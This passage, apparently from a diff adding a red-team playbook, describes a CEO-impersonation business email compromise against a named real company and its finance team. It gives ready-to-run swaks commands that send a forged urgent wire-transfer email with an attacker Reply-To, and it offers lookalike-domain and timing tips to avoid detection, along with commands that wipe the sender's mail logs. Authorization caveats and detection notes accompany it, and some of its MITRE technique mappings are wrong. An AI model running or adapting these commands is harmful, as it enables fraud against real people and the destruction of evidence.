|
296
|
+
swaks \
|
|
297
|
+
--from "ihab.fikry@almentor.net" \
|
|
298
|
+
--to "finance@almentor.net" \
|
|
299
|
+
--server your-vps-ip \
|
|
300
|
+
--port 25 \
|
|
301
|
+
--header "Subject: Urgent: Wire Transfer Required Today" \
|
|
302
|
+
--header "Reply-To: attacker@gmail.com" \
|
|
303
|
+
--header "From: Ihab Fikry (CEO) <ihab.fikry@almentor.net>" \
|
|
304
|
+
--body "Please process the attached wire transfer immediately. Details to follow. - Ihab" \
|
|
305
|
+
--add-header "X-Priority: 1" \
|
|
306
|
+
--add-header "Importance: High"
|
|
307
|
+
```
|
|
308
|
+
|
|
309
|
+
**Expected Output:**
|
|
310
|
+
|
|
311
|
+
```
|
|
312
|
+
=== Trying your-vps-ip:25...
|
|
313
|
+
=== Connected to your-vps-ip.
|
|
314
|
+
<- 220 mail.attacker.com ESMTP Postfix
|
|
315
|
+
-> EHLO attacker.com
|
|
316
|
+
<- 250-mail.attacker.com
|
|
317
|
+
<- 250 8BITMIME
|
|
318
|
+
-> MAIL FROM:<ihab.fikry@almentor.net>
|
|
319
|
+
<- 250 2.1.0 Ok
|
|
320
|
+
-> RCPT TO:<finance@almentor.net>
|
|
321
|
+
<- 250 2.1.5 Ok
|
|
322
|
+
-> DATA
|
|
323
|
+
<- 354 End data with <CR><LF>.<CR><LF>
|
|
324
|
+
-> [message body]
|
|
325
|
+
-> .
|
|
326
|
+
<- 250 2.0.0 Ok: queued as A1B2C3D4E5
|
|
327
|
+
-> QUIT
|
|
328
|
+
<- 221 2.0.0 Bye
|
|
329
|
+
=== Connection closed with remote host.
|
|
330
|
+
[+] Email delivered to finance@almentor.net
|
|
331
|
+
```
|
|
332
|
+
|
|
333
|
+
**Fallback if delivery fails:**
|
|
334
|
+
|
|
335
|
+
```bash
|
|
336
|
+
# Try port 587 with STARTTLS
|
|
337
|
+
swaks --from "ihab.fikry@almentor.net" \
|
|
338
|
+
--to "finance@almentor.net" \
|
|
339
|
+
--server smtp.gmail.com \
|
|
340
|
+
--port 587 \
|
|
341
|
+
--tls \
|
|
342
|
+
--auth LOGIN \
|
|
343
|
+
--auth-user attacker@gmail.com \
|
|
344
|
+
--auth-password "app-password-here"
|
|
345
|
+
```
|
|
346
|
+
|
|
347
|
+
---
|
|
348
|
+
|
|
349
|
+
### Step 6 — Monitor Reply-To for Response
|
|
350
|
+
|
|
351
|
+
```bash
|
|
352
|
+
# Watch attacker-controlled inbox for finance team reply
|
|
353
|
+
# If finance team replies to "Reply-To: attacker@gmail.com", the BEC is in progress
|
|
354
|
+
|
|
355
|
+
# Escalate: provide fake banking details, invoice, or ACH form
|
|
356
|
+
# This step is social engineering — no technical commands
|
|
357
|
+
```
|
|
358
|
+
|
|
359
|
+
---
|
|
360
|
+
|
|
361
|
+
### Step 7 — Verify Delivery (for authorized engagement reporting)
|
|
362
|
+
|
|
363
|
+
```bash
|
|
364
|
+
# Request delivery confirmation via SMTP DSN (optional)
|
|
365
|
+
swaks \
|
|
366
|
+
--from "ihab.fikry@almentor.net" \
|
|
367
|
+
--to "finance@almentor.net" \
|
|
368
|
+
--server your-vps-ip \
|
|
369
|
+
--add-header "Disposition-Notification-To: ihab.fikry@almentor.net" \
|
|
370
|
+
--body "Test message for authorized red team engagement W-009"
|
|
371
|
+
|
|
372
|
+
# Check DMARC aggregate reports (sent to rua address)
|
|
373
|
+
# dig TXT _dmarc.almentor.net → rua=mailto:dmarc-reports@almentor.net
|
|
374
|
+
# The domain owner will receive a DMARC aggregate report showing the spoofed send
|
|
375
|
+
# This is expected during authorized engagement and becomes evidence
|
|
376
|
+
```
|
|
377
|
+
|
|
378
|
+
---
|
|
379
|
+
|
|
380
|
+
## Real-World Reference
|
|
381
|
+
|
|
382
|
+
**Target: Almentor (almentor.net)**
|
|
383
|
+
|
|
384
|
+
| Finding | Detail |
|
|
385
|
+
|---|---|
|
|
386
|
+
| Domain | almentor.net |
|
|
387
|
+
| DMARC Record | `v=DMARC1; p=none; rua=mailto:...` |
|
|
388
|
+
| DMARC Policy | p=none (no enforcement) |
|
|
389
|
+
| CEO Email | ihab.fikry@almentor.net |
|
|
390
|
+
| Attack Vector | External, no credentials required |
|
|
391
|
+
| BEC Target | Finance team |
|
|
392
|
+
| Potential Impact | Fraudulent wire transfer |
|
|
393
|
+
| Engagement Type | Authorized red team assessment |
|
|
394
|
+
|
|
395
|
+
**Attack narrative:** An external attacker with knowledge of Almentor's email format (obtainable via OSINT from LinkedIn or Hunter.io) can query `_dmarc.almentor.net` to confirm `p=none`. Because DMARC is in monitoring-only mode, a spoofed email sent with `From: ihab.fikry@almentor.net` will be delivered directly to the finance team's inbox without any spam filtering or rejection. The email appears to originate from the CEO. A convincing wire transfer request, combined with urgency and confidentiality framing, is the BEC payload. The finance team has no technical signal that the email is fraudulent — the spoofing is invisible at the email client level.
|
|
396
|
+
|
|
397
|
+
---
|
|
398
|
+
|
|
399
|
+
## MITRE ATT&CK Mapping
|
|
400
|
+
|
|
401
|
+
| Step | Tactic | Technique | Sub-technique | Description |
|
|
402
|
+
|---|---|---|---|---|
|
|
403
|
+
| 1 — DMARC Recon | Reconnaissance | T1596 — Search Open Technical Databases | T1596.005 — Scan Databases | Query DNS for _dmarc TXT record to confirm p=none |
|
|
404
|
+
| 2 — SPF Recon | Reconnaissance | T1596 | T1596.005 | Query SPF TXT record to assess email filtering posture |
|
|
405
|
+
| 3 — OSINT CEO/Finance | Reconnaissance | T1591 — Gather Victim Org Info | T1591.004 — Identify Roles | Identify CEO identity and finance team contacts |
|
|
406
|
+
| 4 — Infrastructure Setup | Resource Development | T1583 — Acquire Infrastructure | T1583.001 — Domains / T1583.002 — DNS Server | Set up attacker SMTP for spoofed sending |
|
|
407
|
+
| 5 — Send Spoofed Email | Initial Access | T1566 — Phishing | T1566.001 — Spearphishing Attachment/Link | Deliver spoofed CEO email to finance team |
|
|
408
|
+
| 6 — Internal Spear-phish | Lateral Movement | T1534 — Internal Spearphishing | — | Impersonate CEO internally (perceived internal sender) |
|
|
409
|
+
| 7 — Wire Transfer | Impact | T1648 — Masquerading | T1648 — Financial Fraud via BEC | Finance team executes unauthorized wire transfer |
|
|
410
|
+
|
|
411
|
+
---
|
|
412
|
+
|
|
413
|
+
## Detection & OPSEC
|
|
414
|
+
|
|
415
|
+
### How This Attack Is Detected
|
|
416
|
+
|
|
417
|
+
| Detection Method | Trigger | Reliability |
|
|
418
|
+
|---|---|---|
|
|
419
|
+
| DMARC Aggregate Reports (RUA) | Domain owner receives report showing unauthorized sender | Low — p=none means only reporting, no alert |
|
|
420
|
+
| Email Gateway Anomaly Detection | Unusual sending IP for almentor.net domain | Medium — depends on gateway configuration |
|
|
421
|
+
| Employee Suspicion | Finance team verifies request via phone call | High — human verification bypasses all technical controls |
|
|
422
|
+
| SIEM / Email Header Analysis | Analysts inspect Received headers, note mismatched IP | Medium — requires active monitoring |
|
|
423
|
+
| Impersonation Detection Tools | Tools like Abnormal Security, Proofpoint TAP flag display-name spoofing | High — if deployed |
|
|
424
|
+
|
|
425
|
+
### How to Reduce Detection Risk (Authorized Engagement)
|
|
426
|
+
|
|
427
|
+
```bash
|
|
428
|
+
# 1. Send from a domain that passes SPF (less anomalous headers)
|
|
429
|
+
# Register a lookalike domain: almentor-corp.net, almentor.io
|
|
430
|
+
# This avoids SPF fail markers in headers
|
|
431
|
+
|
|
432
|
+
# 2. Use HTTPS delivery channel instead of SMTP if possible
|
|
433
|
+
# (reduces SMTP header forensics)
|
|
434
|
+
|
|
435
|
+
# 3. Time the email to arrive during business hours
|
|
436
|
+
# Monday–Thursday, 09:00–11:00 local time (finance team most receptive)
|
|
437
|
+
|
|
438
|
+
# 4. Keep email body short, urgent, and authoritative
|
|
439
|
+
# Avoid attachments on first email (triggers attachment scanning)
|
|
440
|
+
|
|
441
|
+
# 5. Use a Reply-To that is plausible
|
|
442
|
+
# ihab.fikry@almentor-corp.net (lookalike, not gmail)
|
|
443
|
+
```
|
|
444
|
+
|
|
445
|
+
### Artifacts Left Behind
|
|
446
|
+
|
|
447
|
+
| Artifact | Location | Description |
|
|
448
|
+
|---|---|---|
|
|
449
|
+
| DMARC Aggregate Report | rua mailbox of target domain | Reports the unauthorized send (IP, volume, result) |
|
|
450
|
+
| SMTP Server Logs | Attacker VPS /var/log/mail.log | Records of outbound send |
|
|
451
|
+
| Email Headers | Target's mail server logs | Received headers showing attacker IP |
|
|
452
|
+
| Finance Inbox | Target email system | Spoofed email in inbox (or deleted items) |
|
|
453
|
+
| Reply (if any) | Attacker Reply-To inbox | Finance team response |
|
|
454
|
+
|
|
455
|
+
---
|
|
456
|
+
|
|
457
|
+
## Cleanup
|
|
458
|
+
|
|
459
|
+
### Post-Engagement Artifact Removal
|
|
460
|
+
|
|
461
|
+
```bash
|
|
462
|
+
# 1. Remove email from attacker SMTP logs
|
|
463
|
+
sudo rm /var/log/mail.log
|
|
464
|
+
sudo truncate -s 0 /var/log/mail.log
|
|
465
|
+
# Or rotate:
|
|
466
|
+
sudo logrotate -f /etc/logrotate.d/rsyslog
|
|
467
|
+
|
|
468
|
+
# 2. Remove Postfix queue (if messages queued)
|
|
469
|
+
sudo postsuper -d ALL
|
|
470
|
+
|
|
471
|
+
# 3. Remove swaks log files
|
|
472
|
+
rm ~/.swaks/
|
|
473
|
+
# swaks writes to current directory by default — check:
|
|
474
|
+
ls *.log 2>/dev/null
|
|
475
|
+
|
|
476
|
+
# 4. Remove Python script
|
|
477
|
+
rm spoof_email.py
|
|
478
|
+
|
|
479
|
+
# 5. Notify target's SOC/email admin to:
|
|
480
|
+
# - Delete spoofed email from finance team inbox
|
|
481
|
+
# - Pull and review DMARC aggregate report for the engagement window
|
|
482
|
+
# - Confirm no wire transfer was initiated (critical pre-engagement briefing)
|
|
483
|
+
|
|
484
|
+
# 6. Document in engagement report:
|
|
485
|
+
# - Timestamp of send
|
|
486
|
+
# - Source IP used
|
|
487
|
+
# - Recipient address
|
|
488
|
+
# - Email subject line
|
|
489
|
+
# - Confirmation that no financial action was taken
|
|
490
|
+
```
|
|
491
|
+
|
|
492
|
+
### Pre-Engagement Safeguards (REQUIRED for authorized testing)
|
|
493
|
+
|
|
494
|
+
Before executing this scenario, ensure the following are in place:
|
|
495
|
+
|
|
496
|
+
1. Written authorization explicitly covers email spoofing and BEC simulation.
|
|
497
|
+
2. Finance team point-of-contact is briefed — they will not execute any wire transfer.
|
|
498
|
+
3. Engagement window (date/time) is documented and shared with the SOC.
|
|
499
|
+
4. A safe word or abort phrase is agreed upon.
|
|
500
|
+
5. All spoofed emails include an invisible marker (e.g., `X-RT-Engagement: W-009`) for cleanup identification.
|
|
501
|
+
|
|
502
|
+
---
|
|
503
|
+
|
|
504
|
+
## References
|
|
505
|
+
|
|
506
|
+
| Resource | URL / Command |
|
|
507
|
+
|---|---|
|
|
508
|
+
| DMARC RFC 7489 | https://datatracker.ietf.org/doc/html/rfc7489 |
|
|
509
|
+
| checkdmarc tool | https://github.com/domainaware/checkdmarc |
|
|
510
|
+
| swaks SMTP tool | https://jetmore.org/john/code/swaks/ |
|
|
511
|
+
| MXToolbox DMARC lookup | https://mxtoolbox.com/dmarc.aspx |
|
|
512
|
+
| Hunter.io email discovery | https://hunter.io |
|
|
513
|
+
| MITRE T1566.001 | https://attack.mitre.org/techniques/T1566/001/ |
|
|
514
|
+
| MITRE T1534 | https://attack.mitre.org/techniques/T1534/ |
|
|
515
|
+
| MITRE T1648 | https://attack.mitre.org/techniques/T1648/ |
|
|
516
|
+
| FBI BEC Advisory | https://www.ic3.gov/Media/Y2023/PSA230609 |
|
|
517
|
+
| CISA Email Authentication Guide | https://www.cisa.gov/resources-tools/resources/email-authentication |
|
|
518
|
+
| Proofpoint BEC Research | https://www.proofpoint.com/us/threat-reference/business-email-compromise |
|